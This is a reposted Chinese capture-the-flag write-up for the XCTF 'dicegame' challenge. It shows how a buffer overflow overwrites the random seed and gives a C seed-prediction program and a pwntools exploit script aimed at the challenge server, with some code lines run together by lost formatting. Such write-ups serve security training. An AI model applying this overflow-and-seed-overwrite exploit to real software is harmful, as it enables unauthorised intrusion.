xctf 攻防世界-dicegame writeup

编程入门 行业动态 更新时间:2024-10-27 17:15:29

xctf  <a href=https://www.elefans.com/category/jswz/34/1767336.html style=攻防世界-dicegame writeup"/>

xctf 攻防世界-dicegame writeup


比较容易发现可以对buf进行缓冲区溢出,继续往下看




可以发现获得flag的条件是循环50次,50次输入的v1值与随机数v2 都相等
根据前面发现的缓冲区溢出可以发现我们可以覆盖掉seed种子值

那么种子值可以被我们随意设置为一个任意值,我把它设置为0,有了种子值可以写一个c程序把50次产生的随机数都求出来
有了随机数便可以编写exp了
C程序:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>int main(int argc, char *argv[]){srand(0);for(int i = 0;i < 50;i++){printf("%ld", (long)rand()%6+1);}return 0;
}
/*output:
25426251423232651155634433322261116425254446323361
*/

exp:

from pwn import *context.log_level = 'debug'
c = remote("111.198.29.45", 57514)payload = 'a'*0x40 + p64(0)c.recvuntil("Welcome, let me know your name: ")
c.send(payload)numbers = "25426251423232651155634433322261116425254446323361"def answer():for j in range(50):c.sendlineafter("Give me the point(1~6): ",numbers[j])answer()
c.interactive()

catch flag

更多推荐

xctf 攻防世界-dicegame writeup

本文发布于:2023-07-28 17:51:01,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1267574.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:攻防   世界   xctf   dicegame   writeup

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!